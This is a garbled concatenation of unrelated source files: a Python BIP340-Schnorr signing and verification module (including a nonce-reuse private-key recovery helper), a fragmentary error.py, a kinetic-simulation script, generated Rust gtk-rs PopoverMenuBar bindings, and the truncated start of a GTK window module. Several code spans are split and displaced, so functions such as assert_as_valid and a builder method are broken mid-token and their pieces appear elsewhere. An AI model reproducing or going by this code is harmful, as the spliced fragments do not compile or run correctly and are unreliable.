SHA256(SHA256(tag)||SHA256(tag)||x) The rationale is to make BIP340 signatures invalid for anything else but Bitcoin and vice versa. TaggedHash is used for both the challenge (with tag 'BIPSchnorr') and the deterministic nonce (with tag 'BIPSchnorrDerive'). To allow for secure batch verification of multiple signatures, BIP340-Schnorr uses a challenge that prevents public key recovery from signature: c = TaggedHash('BIPSchnorr', x_k||x_Q||msg). A custom deterministic algorithm for the ephemeral key (nonce) is used for signing, instead of the RFC6979 standard: nonce = TaggedHash('BIPSchnorrDerive', q||msg) Finally, BIP340-Schnorr adopts a robust [r][s] custom serialization format, instead of the loosely specified ASN.1 DER standard. The signature size is p-size*n-size, where p-size is the field element (curve point coordinate) byte size and n-size is the scalar (curve point multiplication coefficient) byte size. For sepcp256k1 the resulting signature size is 64 bytes. """ import secrets from dataclasses import InitVar, dataclass from hashlib import sha256 from typing import List, Optional, Sequence, Tuple, Type, Union from btclib.alias import BinaryData, HashF, Integer, JacPoint, Octets, Point from btclib.bip32.bip32 import BIP32Key from btclib.ecc.curve import Curve, secp256k1 from btclib.ecc.curve_group import _double_mult, _mult, _multi_mult from btclib.ecc.number_theory import mod_inv from btclib.exceptions import BTClibRuntimeError, BTClibTypeError, BTClibValueError from btclib.hashes import reduce_to_hlen, tagged_hash from btclib.to_prv_key import PrvKey, int_from_prv_key from btclib.to_pub_key import point_from_pub_key from btclib.utils import ( bytes_from_octets, bytesio_from_binarydata, hex_string, int_from_bits, ) @dataclass(frozen=True) class Sig: """BIP340-Schnorr signature. - r is an x-coordinate _field_element_, 0 <= r < ec.p - s is a scalar, 0 <= s < ec.n (yes, for BIP340-Schnorr it can be zero) (ec.p is the field prime, ec.n is the curve order) """ # 32 bytes x-coordinate field element r: int # 32 bytes scalar s: int ec: Curve = secp256k1 check_validity: InitVar[bool] = True def __post_init__(self, check_validity: bool) -> None: if check_validity: self.assert_valid() def assert_valid(self) -> None: # r is a field element, fail if r is not a valid x-coordinate self.ec.y(self.r) # s is a scalar, fail if s is not in [0, n-1] if not 0 <= self.s < self.ec.n: err_msg = "scalar s not in 0..n-1: " err_msg += f"'{hex_string(self.s)}'" if self.s > 0xFFFFFFFF else f"{self.s}" raise BTClibValueError(err_msg) def serialize(self, check_validity: bool = True) -> bytes: if check_validity: self.assert_valid() out = self.r.to_bytes(self.ec.p_size, byteorder="big", signed=False) out += self.s.to_bytes(self.ec.n_size, byteorder="big", signed=False) return out @classmethod def parse(cls: Type["Sig"], data: BinaryData, check_validity: bool = True) -> "Sig": stream = bytesio_from_binarydata(data) ec = secp256k1 r = int.from_bytes(stream.read(ec.p_size), byteorder="big", signed=False) s = int.from_bytes(stream.read(ec.n_size), byteorder="big", signed=False) return cls(r, s, ec, check_validity) # hex-string or bytes representation of an int # 33 or 65 bytes or hex-string # BIP32Key as dict or String # tuple Point BIP340PubKey = Union[Integer, Octets, BIP32Key, Point] def point_from_bip340pub_key(x_Q: BIP340PubKey, ec: Curve = secp256k1) -> Point: """Return a verified-as-valid BIP340 public key as Point tuple. It supports: - BIP32 extended keys (bytes, string, or BIP32KeyData) - SEC Octets (bytes or hex-string, with 02, 03, or 04 prefix) - BIP340 Octets (bytes or hex-string, p-size Point x-coordinate) - native tuple """ # BIP 340 key as integer if isinstance(x_Q, int): return x_Q, ec.y_even(x_Q) # (tuple) Point, (dict or str) BIP32Key, or 33/65 bytes try: x_Q = point_from_pub_key(x_Q, ec)[0] return x_Q, ec.y_even(x_Q) except BTClibValueError: pass # BIP 340 key as bytes or hex-string if isinstance(x_Q, (str, bytes)): Q = bytes_from_octets(x_Q, ec.p_size) x_Q = int.from_bytes(Q, "big", signed=False) return x_Q, ec.y_even(x_Q) raise BTClibTypeError("not a BIP340 public key") def gen_keys_( prv_key: Optional[PrvKey] = None, ec: Curve = secp256k1 ) -> Tuple[int, int, JacPoint]: "Return a BIP340 private/public (int, JacPoint) key-pair." if prv_key is None: q = 1 + secrets.randbelow(ec.n - 1) else: q = int_from_prv_key(prv_key, ec) QJ = _mult(q, ec.GJ, ec) x_Q, y_Q = ec.aff_from_jac(QJ) if y_Q % 2: q = ec.n - q QJ = ec.negate_jac(QJ) return q, x_Q, QJ def gen_keys( prv_key: Optional[PrvKey] = None, ec: Curve = secp256k1 ) -> Tuple[int, int]: "Return a BIP340 private/public (int, int) key-pair." q, x_Q, _ = gen_keys_(prv_key, ec) return q, x_Q def _det_nonce_( msg_hash: bytes, q: int, Q: int, aux: bytes, ec: Curve, hf: HashF ) -> int: # assume the random oracle model for the hash function, # i.e. hash values can be considered uniformly random # Note that in general, taking a uniformly random integer # modulo the curve order n would produce a biased result. # However, if the order n is sufficiently close to 2^hf_len, # then the bias is not observable: # e.g. for secp256k1 and sha256 1-n/2^256 it is about 1.27*2^-128 # # the unbiased implementation is provided here, # which works also for very-low-cardinality test curves randomizer = tagged_hash("BIP0340/aux".encode(), aux, hf) xor = q ^ int.from_bytes(randomizer, "big", signed=False) max_len = max(ec.n_size, hf().digest_size) t = b"".join( [ xor.to_bytes(max_len, byteorder="big", signed=False), Q.to_bytes(ec.p_size, byteorder="big", signed=False), msg_hash, ] ) nonce_tag = "BIP0340/nonce".encode() while True: t = tagged_hash(nonce_tag, t, hf) # The following lines would introduce a bias # nonce = int.from_bytes(t, 'big') % ec.n # nonce = int_from_bits(t, ec.nlen) % ec.n # In general, taking a uniformly random integer (like those # obtained from a hash function in the random oracle model) # modulo the curve order n would produce a biased result. # However, if the order n is sufficiently close to 2^hf_len, # then the bias is not observable: e.g. # for secp256k1 and sha256 1-n/2^256 it is about 1.27*2^-128 nonce = int_from_bits(t, ec.nlen) # candidate nonce if 0 < nonce < ec.n: # acceptable value for nonce return nonce # successful candidate def det_nonce_( msg_hash: Octets, prv_key: PrvKey, aux: Optional[Octets] = None, ec: Curve = secp256k1, hf: HashF = sha256, ) -> int: "Return a BIP340 deterministic ephemeral key (nonce)." # the message msg_hash: a hf_len array hf_len = hf().digest_size msg_hash = bytes_from_octets(msg_hash, hf_len) q, Q = gen_keys(prv_key, ec) # the auxiliary random component aux = secrets.token_bytes(hf_len) if aux is None else bytes_from_octets(aux) return _det_nonce_(msg_hash, q, Q, aux, ec, hf) def challenge_(msg_hash: Octets, x_Q: int, x_K: int, ec: Curve, hf: HashF) -> int: # the message msg_hash: a hf_len array hf_len = hf().digest_size msg_hash = bytes_from_octets(msg_hash, hf_len) t = b"".join( [ x_K.to_bytes(ec.p_size, byteorder="big", signed=False), x_Q.to_bytes(ec.p_size, byteorder="big", signed=False), msg_hash, ] ) t = tagged_hash("BIP0340/challenge".encode(), t, hf) c = int_from_bits(t, ec.nlen) % ec.n if c == 0: raise BTClibRuntimeError("invalid zero challenge") # pragma: no cover return c def _sign_(c: int, q: int, nonce: int, r: int, ec: Curve) -> Sig: # Private function for testing purposes: it allows to explore all # possible value of the challenge c (for low-cardinality curves). # It assume that c is in [1, n-1], while q and nonce are in [1, n-1] if c == 0: # c≠0 required as it multiplies the private key raise BTClibRuntimeError("invalid zero challenge") # s=0 is ok: in verification there is no inverse of s s = (nonce + c * q) % ec.n return Sig(r, s, ec) def sign_( msg_hash: Octets, prv_key: PrvKey, nonce: Optional[PrvKey] = None, ec: Curve = secp256k1, hf: HashF = sha256, ) -> Sig: """Sign a hf_len bytes message according to BIP340 signature algorithm. If the deterministic nonce is not provided, the BIP340 specification (not RFC6979) is used. """ # the message msg_hash: a hf_len array hf_len = hf().digest_size msg_hash = bytes_from_octets(msg_hash, hf_len) # private and public keys q, x_Q = gen_keys(prv_key, ec) # nonce: an integer in the range 1..n-1. if nonce is None: nonce = _det_nonce_(msg_hash, q, x_Q, secrets.token_bytes(hf_len), ec, hf) nonce, x_K = gen_keys(nonce, ec) # the challenge c = challenge_(msg_hash, x_Q, x_K, ec, hf) return _sign_(c, q, nonce, x_K, ec) def sign( msg: Octets, prv_key: PrvKey, nonce: Optional[PrvKey] = None, ec: Curve = secp256k1, hf: HashF = sha256, ) -> Sig: """Sign message according to BIP340 signature algorithm. The message msg is first processed by hf, yielding the value msg_hash = hf(msg), a sequence of bits of length *hf_len*. Normally, hf is chosen such that its output length *hf_len* is roughly equal to *nlen*, the bit-length of the group order *n*, since the overall security of the signature scheme will depend on the smallest of *hf_len* and *nlen*; however, ECSSA supports all combinations of *hf_len* and *nlen*. The BIP340 deterministic nonce (not RFC6979) is used. """ msg_hash = reduce_to_hlen(msg, hf) return sign_(msg_hash, prv_key, nonce, ec, hf) def _assert_as_valid_(c: int, QJ: JacPoint, r: int, s: int, ec: Curve) -> None: # Private function for test/dev purposes # It raises Errors, while verify should always return True or False # Let K = sG - eQ. # in Jacobian coordinates KJ = _double_mult(ec.n - c, QJ, s, ec.GJ, ec) # Fail if infinite(KJ). # Fail if y_K is odd. if ec.y_aff_from_jac(KJ) % 2: raise BTClibRuntimeError("y_K is odd") # Fail if x_K ≠ r if KJ[0] != KJ[2] * KJ[2] * r % ec.p: raise BTClibRuntimeError("signature verification failed") def assert_as_valid_( msg_hash: Octets, Q: BIP340PubKey, sig: Union[Sig, Octets], hf: HashF = sha256 ) -> None: # Private function for test/dev purposes # It raises Errors, while verify should always return True or False if isinstance(sig, Sig): sig.assert_valid() else: sig = Sig.parse(sig) x_Q, y_Q = point_from_bip340pub_key(Q, sig.ec) # Let c = int(hf(bytes(r) || bytes(Q) || msg_hash)) mod n. c = challenge_(msg_hash, x_Q, sig.r, sig.ec, hf) _assert_as_valid_(c, (x_Q, y_Q, 1), sig.r, sig.s, sig.ec) def assert_as_valid( msg: Octets, Q: BIP340PubKey, sig: Union[Sig, Octets], hf: HashF = sha256 ) -> None: msg_
ef verify_( msg_hash: Octets, Q: BIP340PubKey, sig: Union[Sig, Octets], hf: HashF = sha256 ) -> bool: "Verify the BIP340 signature of the provided message." # all kind of Exceptions are catched because # verify must always return a bool try: assert_as_valid_(msg_hash, Q, sig, hf) except Exception: # pylint: disable=broad-except return False else: return True def verify( msg: Octets, Q: BIP340PubKey, sig: Union[Sig, Octets], hf: HashF = sha256 ) -> bool: "Verify the BIP340 signature of the provided message." msg_hash = reduce_to_hlen(msg, hf) return verify_(msg_hash, Q, sig, hf) def _recover_pub_key_(c: int, r: int, s: int, ec: Curve) -> int: # Private function provided for testing purposes only. if c == 0: raise BTClibRuntimeError("invalid zero challenge") KJ = r, ec.y_even(r), 1 e1 = mod_inv(c, ec.n) QJ = _double_mult(ec.n - e1, KJ, e1 * s, ec.GJ, ec) # edge case that cannot be reproduced in the test suite if QJ[2] == 0: err_msg = "invalid (INF) key" # pragma: no cover raise BTClibRuntimeError(err_msg) # pragma: no cover return ec.x_aff_from_jac(QJ) def crack_prv_key_( msg_hash1: Octets, sig1: Union[Sig, Octets], msg_hash2: Octets, sig2: Union[Sig, Octets], Q: BIP340PubKey, hf: HashF = sha256, ) -> Tuple[int, int]: if isinstance(sig1, Sig): sig1.assert_valid() else: sig1 = Sig.parse(sig1) if isinstance(sig2, Sig): sig2.assert_valid() else: sig2 = Sig.parse(sig2) ec = sig2.ec if sig1.ec != ec: raise BTClibValueError("not the same curve in signatures") if sig1.r != sig2.r: raise BTClibValueError("not the same r in signatures") if sig1.s == sig2.s: raise BTClibValueError("identical signatures") x_Q = point_from_bip340pub_key(Q, ec)[0] c_1 = challenge_(msg_hash1, x_Q, sig1.r, ec, hf) c_2 = challenge_(msg_hash2, x_Q, sig2.r, ec, hf) q = (sig1.s - sig2.s) * mod_inv(c_2 - c_1, ec.n) % ec.n nonce = (sig1.s + c_1 * q) % ec.n q, _ = gen_keys(q) nonce, _ = gen_keys(nonce) return q, nonce def crack_prv_key( msg1: Octets, sig1: Union[Sig, Octets], msg2: Octets, sig2: Union[Sig, Octets], Q: BIP340PubKey, hf: HashF = sha256, ) -> Tuple[int, int]: msg_hash1 = reduce_to_hlen(msg1, hf) msg_hash2 = reduce_to_hlen(msg2, hf) return crack_prv_key_(msg_hash1, sig1, msg_hash2, sig2, Q, hf) def assert_batch_as_valid_( m_hashes: Sequence[Octets], Qs: Sequence[BIP340PubKey], sigs: Sequence[Sig], hf: HashF = sha256, ) -> None: batch_size = len(Qs) if batch_size == 0: raise BTClibValueError("no signatures provided") if len(m_hashes) != batch_size: err_msg = f"mismatch between number of pub_keys ({batch_size}) " err_msg += f"and number of messages ({len(m_hashes)})" raise BTClibValueError(err_msg) if len(sigs) != batch_size: err_msg = f"mismatch between number of pub_keys ({batch_size}) " err_msg += f"and number of signatures ({len(sigs)})" raise BTClibValueError(err_msg) if batch_size == 1: assert_as_valid_(m_hashes[0], Qs[0], sigs[0], hf) return None ec = sigs[0].ec if any(sig.ec != ec for sig in sigs): raise BTClibValueError("not the same curve for all signatures") t = 0 scalars: List[int] = [] points: List[JacPoint] = [] for i, (msg_hash, Q, sig) in enumerate(zip(m_hashes, Qs, sigs)): msg_hash = bytes_from_octets(msg_hash, hf().digest_size) KJ = sig.r, ec.y_even(sig.r), 1 x_Q, y_Q = point_from_bip340pub_key(Q, ec) QJ = x_Q, y_Q, 1 c = challenge_(msg_hash, x_Q, sig.r, ec, hf) # rand in [1, n-1] # deterministically generated using a CSPRNG seeded by a # cryptographic hash (e.g., SHA256) of all inputs of the # algorithm, or randomly generated independently for each # run of the batch verification algorithm rand = 1 if i == 0 else 1 + secrets.randbelow(ec.n - 1) scalars.append(rand) points.append(KJ) scalars.append(rand * c % ec.n) points.append(QJ) t += rand * sig.s TJ = _mult(t, ec.GJ, ec) RHSJ = _multi_mult(scalars, points, ec) # return T == RHS, checked in Jacobian coordinates RHSZ2 = RHSJ[2] * RHSJ[2] TZ2 = TJ[2] * TJ[2] if (TJ[0] * RHSZ2 % ec.p != RHSJ[0] * TZ2 % ec.p) or ( TJ[1] * RHSZ2 * RHSJ[2] % ec.p != RHSJ[1] * TZ2 * TJ[2] % ec.p ): raise BTClibRuntimeError("signature verification failed") return None def assert_batch_as_valid( ms: Sequence[Octets], Qs: Sequence[BIP340PubKey], sigs: Sequence[Sig], hf: HashF = sha256, ) -> None: m_hashes = [reduce_to_hlen(msg, hf) for msg in ms] return assert_batch_as_valid_(m_hashes, Qs, sigs, hf) def batch_verify_( m_hashes: Sequence[Octets], Qs: Sequence[BIP340PubKey], sigs: Sequence[Sig], hf: HashF = sha256, ) -> bool: # all kind of Exceptions are catched because # verify must always return a bool try: assert_batch_as_valid_(m_hashes, Qs, sigs, hf) except Exception: # pylint: disable=broad-except return False return True def batch_verify( ms: Sequence[Octets], Qs: Sequence[BIP340PubKey], sigs: Sequence[Sig], hf: HashF = sha256, ) -> bool: "Batch verification of BIP340 signatures." m_hashes = [reduce_to_hlen(msg, hf) for msg in ms] return batch_verify_(m_hashes, Qs, sigs, hf)
hash = reduce_to_hlen(msg, hf) assert_as_valid_(msg_hash, Q, sig, hf) d
error.py
class
(object): _name = "some.model.name"
SomeClass
Simulations-2.py
# Simulations-2.py
import glob import math import yaml from KineticAnalysis.NumericalSimulator import NumericalSimulator PPEqThreshold = 1.0e-4 if __name__ == "__main__": # Read fits to time-resolved datasets. tr_data_sets = { } for f in glob.glob(r"TimeResolved-*.yaml"): with open(f, 'rb') as input_file: input_yaml = yaml.load( input_file, Loader = yaml.CLoader ) tr_data_sets[input_yaml['label']] = ( input_yaml['t_cyc'], input_yaml['t_exc'], input_yaml['temp'], (input_yaml['data_t'], input_yaml['data_a']), (input_yaml['alpha_bg'], input_yaml['k_exc'], input_yaml['k_dec']), input_yaml['rms'] ) # For each dataset, determine the maximum excited-state population given the fitted k_exc/k_dec. for label, (t_cyc, t_exc, _, _, (_, k_exc, k_dec), _) in tr_data_sets.items(): simulator = NumericalSimulator( excN = 1.0, excK = k_exc, decN = 1.0, decK = k_dec ) # 1. Determine the excitation level achieved with the set t_cyc/t_exc. a_0, a_max = 0.0, 0.0 while True: simulator.InitialiseTrajectory(a_0) simulator.SetExcitation(True) simulator.RunTrajectory(t_exc) _, a_sim = simulator.GetTrajectory() a_max = a_sim[-1] simulator.SetExcitation(False) simulator.RunTrajectory(t_cyc - t_exc) _, a_sim = simulator.GetTrajectory() if math.fabs(a_sim[-1] - a_0) < PPEqThreshold: break a_0 = a_sim[-1] # 2. Determine the steady-state (maximum) excitation level. simulator.SetExcitation(True) simulator.InitialiseTrajectory(0.0) a_max_sim = 0.0 while True: simulator.RunTrajectory(1.0) _, a_sim = simulator.GetTrajectory() if math.fabs(a_sim[-1] - a_max_sim) < PPEqThreshold: break a_max_sim = a_sim[-1] print("{0}: a_max = {1:.3f}, theoretical = {2:.3f}".format(label, a_max, a_max_sim)) print("")
popover_menu_bar.rs
// This file was generated by gir (https://github.com/gtk-rs/gir) // from gir-files (https://github.com/gtk-rs/gir-files.git) // DO NOT EDIT use crate::Accessible; use crate::AccessibleRole; use crate::Align; use crate::Buildable; use crate::ConstraintTarget; use crate::LayoutManager; use crate::Overflow; use crate::Widget; use glib::object::Cast; use glib::object::IsA; use glib::object::ObjectType as ObjectType_; use glib::signal::connect_raw; use glib::signal::SignalHandlerId; use glib::translate::*; use glib::StaticType; use glib::ToValue; use std::boxed::Box as Box_; use std::fmt; use std::mem::transmute; glib::wrapper! { pub struct PopoverMenuBar(Object<ffi::GtkPopoverMenuBar>) @extends Widget, @implements Accessible, Buildable, ConstraintTarget; match fn { get_type => || ffi::gtk_popover_menu_bar_get_type(), } } impl PopoverMenuBar { #[doc(alias = "gtk_popover_menu_bar_new_from_model")] pub fn from_model<P: IsA<gio::MenuModel>>(model: Option<&P>) -> PopoverMenuBar { assert_initialized_main_thread!(); unsafe { Widget::from_glib_none(ffi::gtk_popover_menu_bar_new_from_model( model.map(|p| p.as_ref()).to_glib_none().0, )) .unsafe_cast() } } #[doc(alias = "gtk_popover_menu_bar_add_child")] pub fn add_child<P: IsA<Widget>>(&self, child: &P, id: &str) -> bool { unsafe { from_glib(ffi::gtk_popover_menu_bar_add_child( self.to_glib_none().0, child.as_ref().to_glib_none().0, id.to_glib_none().0, )) } } #[doc(alias = "gtk_popover_menu_bar_get_menu_model")] pub fn menu_model(&self) -> Option<gio::MenuModel> { unsafe { from_glib_none(ffi::gtk_popover_menu_bar_get_menu_model( self.to_glib_none().0, )) } } #[doc(alias = "gtk_popover_menu_bar_remove_child")] pub fn remove_child<P: IsA<Widget>>(&self, child: &P) -> bool { unsafe { from_glib(ffi::gtk_popover_menu_bar_remove_child( self.to_glib_none().0, child.as_ref().to_glib_none().0, )) } } #[doc(alias = "gtk_popover_menu_bar_set_menu_model")] pub fn set_menu_model<P: IsA<gio::MenuModel>>(&self, model: Option<&P>) { unsafe { ffi::gtk_popover_menu_bar_set_menu_model( self.to_glib_none().0, model.map(|p| p.as_ref()).to_glib_none().0, ); } } pub fn connect_property_menu_model_notify<F: Fn(&PopoverMenuBar) + 'static>( &self, f: F, ) -> SignalHandlerId { unsafe extern "C" fn notify_menu_model_trampoline<F: Fn(&PopoverMenuBar) + 'static>( this: *mut ffi::GtkPopoverMenuBar, _param_spec: glib::ffi::gpointer, f: glib::ffi::gpointer, ) { let f: &F = &*(f as *const F); f(&from_glib_borrow(this)) } unsafe { let f: Box_<F> = Box_::new(f); connect_raw( self.as_ptr() as *mut _, b"notify::menu-model\0".as_ptr() as *const _, Some(transmute::<_, unsafe extern "C" fn()>( notify_menu_model_trampoline::<F> as *const (), )), Box_::into_raw(f), ) } } } #[derive(Clone, Default)] pub struct PopoverMenuBarBuilder { menu_model: Option<gio::MenuModel>, can_focus: Option<bool>, can_target: Option<bool>, css_classes: Option<Vec<String>>, css_name: Option<String>, cursor: Option<gdk::Cursor>, focus_on_click: Option<bool>, focusable: Option<bool>, halign: Option<Align>, has_tooltip: Option<bool>, height_request: Option<i32>, hexpand: Option<bool>, hexpand_set: Option<bool>, layout_manager: Option<LayoutManager>, margin_bottom: Option<i32>, margin_end: Option<i32>, margin_start: Option<i32>, margin_top: Option<i32>, name: Option<String>, opacity: Option<f64>, overflow: Option<Overflow>, receives_default: Option<bool>, sensitive: Option<bool>, tooltip_markup: Option<String>, tooltip_text: Option<String>, valign: Option<Align>, vexpand: Option<bool>, vexpand_set: Option<bool>, visible: Option<bool>, width_request: Option<i32>, accessible_role: Option<AccessibleRole>, } impl PopoverMenuBarBuilder { pub fn new() -> Self { Self::default() } pub fn build(self) -> PopoverMenuBar { let mut properties: Vec<(&str, &dyn ToValue)> = vec![]; if let Some(ref menu_model) = self.menu_model { properties.push(("menu-model", menu_model)); } if let Some(ref can_focus) = self.can_focus { properties.push(("can-focus", can_focus)); } if let Some(ref can_target) = self.can_target { properties.push(("can-target", can_target)); } if let Some(ref css_classes) = self.css_classes { properties.push(("css-classes", css_classes)); } if let Some(ref css_name) = self.css_name { properties.push(("css-name", css_name)); } if let Some(ref cursor) = self.cursor { properties.push(("cursor", cursor)); } if let Some(ref focus_on_click) = self.focus_on_click { properties.push(("focus-on-click", focus_on_click)); } if let Some(ref focusable) = self.focusable { properties.push(("focusable", focusable)); } if let Some(ref halign) = self.halign { properties.push(("halign", halign)); } if let Some(ref has_tooltip) = self.has_tooltip { properties.push(("has-tooltip", has_tooltip)); } if let Some(ref height_request) = self.height_request { properties.push(("height-request", height_request)); } if let Some(ref hexpand) = self.hexpand { properties.push(("hexpand", hexpand)); } if let Some(ref hexpand_set) = self.hexpand_set { properties.push(("hexpand-set", hexpand_set)); } if let Some(ref layout_manager) = self.layout_manager { properties.push(("layout-manager", layout_manager)); } if let Some(ref margin_bottom) = self.margin_bottom { properties.push(("margin-bottom", margin_bottom)); } if let Some(ref margin_end) = self.margin_end { properties.push(("margin-end", margin_end)); } if let Some(ref margin_start) = self.margin_start { properties.push(("margin-start", margin_start)); } if let Some(ref margin_top) = self.margin_top { properties.push(("margin-top", margin_top)); } if let Some(ref name) = self.name { properties.push(("name", name)); } if let Some(ref opacity) = self.opacity { properties.push(("opacity", opacity)); } if let Some(ref overflow) = self.overflow { properties.push(("overflow", overflow)); } if let Some(ref receives_default) = self.receives_default { properties.push(("receives-default", receives_default)); } if let Some(ref sensitive) = self.sensitive { properties.push(("sensitive", sensitive)); } if let Some(ref tooltip_markup) = self.tooltip_markup { properties.push(("tooltip-markup", tooltip_markup)); } if let Some(ref tooltip_text) = self.tooltip_text { properties.push(("tooltip-text", tooltip_text)); } if let Some(ref valign) = self.valign { properties.push(("valign", valign)); } if let Some(ref vexpand) = self.vexpand { properties.push(("vexpand", vexpand)); } if let Some(ref vexpand_set) = self.vexpand_set { properties.push(("vexpand-set", vexpand_set)); } if let Some(ref visible) = self.visible { properties.push(("visible", visible)); } if let Some(ref width_request) = self.width_request { properties.push(("width-request", width_request)); } if let Some(ref accessible_role) = self.accessible_role { properties.push(("accessible-role", accessible_role)); } let ret = glib::Object::new::<PopoverMenuBar>(&properties).expect("object new"); ret } pub fn menu_model<P: IsA<gio::MenuModel>>(mut self, menu_model: &P) -> Self { self.menu_model = Some(menu_model.clone().upcast()); self } pub fn can_focus(mut self, can_focus: bool) -> Self { self.can_focus = Some(can_focus); self } pub fn can_target(mut self, can_target: bool) -> Self { self.can_target = Some(can_target); self } pub fn css_classes(mut self, css_classes: Vec<String>) -> Self { self.css_classes = Some(css_classes); self } pub fn css_name(mut self, css_name: &str) -> Self { self.css_name = Some(css_name.to_string()); self } pub fn cursor(mut self, cursor: &gdk::Cursor) -> Self { self.cursor = Some(cursor.clone()); self } pub fn focus_on_click(mut self, focus_on_click: bool) -> Self { self.focus_on_click = Some(focus_on_click); self } pub fn focusable(mut self, focusable: bool) -> Self { self.focusable = Some(focusable); self } pub fn halign(mut self, halign: Align) -> Self { self.halign = Some(halign); self } pub fn has_tooltip(mut self, has_tooltip: bool) -> Self { self.has_tooltip = Some(has_tooltip); self } pub fn height_request(mut self, height_request: i32) -> Self { self.height_request = Some(height_request); self } pub fn hexpand(mut self, hexpand: bool) -> Self { self.hexpand = Some(hexpand); self } pub fn hexpand_set(mut self, hexpand_set: bool) -> Self { self.hexpand_set = Some(hexpand_set); self } pub fn layout_manager<P: IsA<LayoutManager>>(mut self, layout_manager: &P) -> Self { self.layout_manager = Some(layout_manager.clone().upcast()); self } pub fn margin_bottom(mut self, margin_bottom: i32) -> Self { self.margin_bottom = Some(margin_bottom); self } pub fn margin_end(mut self, margin_end: i32) -> Self { self.margin_end = Some(margin_end); self } pub fn margin_start(mut self, margin_start: i32) -> Self { self.margin_start = Some(margin_start); self } pub fn margin_top(mut self, margin_top: i32) -> Self { self.margin_top = Some(margin_top); self } pub fn name(mut self, name: &str) -> Self
pub fn opacity(mut self, opacity: f64) -> Self { self.opacity = Some(opacity); self } pub fn overflow(mut self, overflow: Overflow) -> Self { self.overflow = Some(overflow); self } pub fn receives_default(mut self, receives_default: bool) -> Self { self.receives_default = Some(receives_default); self } pub fn sensitive(mut self, sensitive: bool) -> Self { self.sensitive = Some(sensitive); self } pub fn tooltip_markup(mut self, tooltip_markup: &str) -> Self { self.tooltip_markup = Some(tooltip_markup.to_string()); self } pub fn tooltip_text(mut self, tooltip_text: &str) -> Self { self.tooltip_text = Some(tooltip_text.to_string()); self } pub fn valign(mut self, valign: Align) -> Self { self.valign = Some(valign); self } pub fn vexpand(mut self, vexpand: bool) -> Self { self.vexpand = Some(vexpand); self } pub fn vexpand_set(mut self, vexpand_set: bool) -> Self { self.vexpand_set = Some(vexpand_set); self } pub fn visible(mut self, visible: bool) -> Self { self.visible = Some(visible); self } pub fn width_request(mut self, width_request: i32) -> Self { self.width_request = Some(width_request); self } pub fn accessible_role(mut self, accessible_role: AccessibleRole) -> Self { self.accessible_role = Some(accessible_role); self } } impl fmt::Display for PopoverMenuBar { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { f.write_str("PopoverMenuBar") } }
{ self.name = Some(name.to_string()); self }
window.rs
// Copyright 2019 The xi-editor Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. //! GTK window creation and management. use std::any::Any; use std::cell::{Cell, RefCell}; use std::convert::TryFrom; use std::ffi::c_void; use std::ffi::OsString; use std::os::raw::{c_int, c_uint}; use std::ptr; use std::slice; use std::sync::{Arc, Mutex, Weak}; use std::time::Instant; use gdk::{EventKey, EventMask, ModifierType, ScrollDirection, WindowExt}; use gio::ApplicationExt; use gtk::prelude::*; use gtk::{AccelGroup, ApplicationWindow}; use crate::kurbo::{Point, Size, Vec2}; use crate::piet::{Piet, RenderContext}; use super::application::with_application; use super::dialog; use super::menu::Menu; use super::util::assert_main_thread; use crate::common_util::IdleCallback; use crate::dialog::{FileDialogOptions, FileDialogType, FileInfo}; use crate::keyboard; use crate::mouse::{Cursor, MouseButton, MouseEvent}; use crate::window::{IdleToken, Text, TimerToken, WinHandler}; use crate::Error; /// Taken from https://gtk-rs.org/docs-src/tutorial/closures /// It is used to reduce the boilerplate of setting up gtk callbacks /// Example: /// ``` /// button.connect_clicked(clone!(handle => move |_| { ... })) /// ``` /// is equivalent to: /// ``` /// { /// let handle = handle.clone(); /// button.connect_clicked(move |_| { ... }) /// } /// ``` macro_rules! clone { (@param _) => ( _ ); (@param $x:ident) => ( $x ); ($($n:ident),+ => move || $body:expr) => ( { $( let $n = $n.clone(); )+ move || $body } ); ($($n:ident),+ => move |$($p:tt),+| $body:expr) => ( { $( let $n = $n.clone(); )+ move |$(clone!(@param $p),)+| $body } ); } #[derive(Clone, Default)] pub struct WindowHandle { pub(crate) state: Weak<WindowState>, } /// Builder abstraction for creating new windows pub struct WindowBuilder { handler: Option<Box<dyn WinHandler>>, title: String, menu: Option<Menu>, size: Size, } #[derive(Clone)] pub struct IdleHandle { idle_queue: Arc<Mutex<Vec<IdleKind>>>, state: Weak<WindowState>, } /// This represents different Idle Callback Mechanism enum IdleKind { Callback(Box<dyn IdleCallback>), Token(IdleToken), } pub(crate) struct WindowState { window: ApplicationWindow, pub(crate) handler: RefCell<Box<dyn WinHandler>>, idle_queue: Arc<Mutex<Vec<IdleKind>>>, current_keyval: RefCell<Option<u32>>, } impl WindowBuilder { pub fn new() -> WindowBuilder { WindowBuilder { handler: None, title: String::new(), menu: None, size: Size::new(500.0, 400.0), } } pub fn set_handler(&mut self, handler: Box<dyn WinHandler>) { self.handler = Some(handler); } pub fn set_size(&mut self, size: Size) { self.size = size; } pub fn set_title(&mut self, title: impl Into<String>) { self.title = title.into(); } pub fn set_menu(&mut self, menu: Menu) { self.menu = Some(menu); } pub fn build(self) -> Result<WindowHandle, Error> { assert_main_thread(); let handler = self .handler .expect("Tried to build a window without setting the handler"); let window = with_application(|app| ApplicationWindow::new(&app)); window.set_title(&self.title); let dpi_scale = window .get_display() .map(|c| c.get_default_screen().get_resolution() as f64) .unwrap_or(96.0) / 96.0; window.set_default_size( (self.size.width * dpi_scale) as i32, (self.size.height * dpi_scale) as i32, ); let accel_group = AccelGroup::new(); window.add_accel_group(&accel_group); let vbox = gtk::Box::new(gtk::Orientation::Vertical, 0); window.add(&vbox); let win_state = Arc::new(WindowState { window, handler: RefCell::new(handler), idle_queue: Arc::new(Mutex::new(vec![])), current_keyval: RefCell::new(None), }); with_application(|app| { app.connect_shutdown(clone!(win_state => move |_| { // this ties a clone of Arc<WindowState> to the ApplicationWindow to keep it alive // when the ApplicationWindow is destroyed, the last Arc is dropped // and any Weak<WindowState> will be None on upgrade() let _ = &win_state; })) }); let handle = WindowHandle { state: Arc::downgrade(&win_state), }; if let Some(menu) = self.menu { let menu = menu.into_gtk_menubar(&handle, &accel_group); vbox.pack_start(&menu, false, false, 0); } let drawing_area = 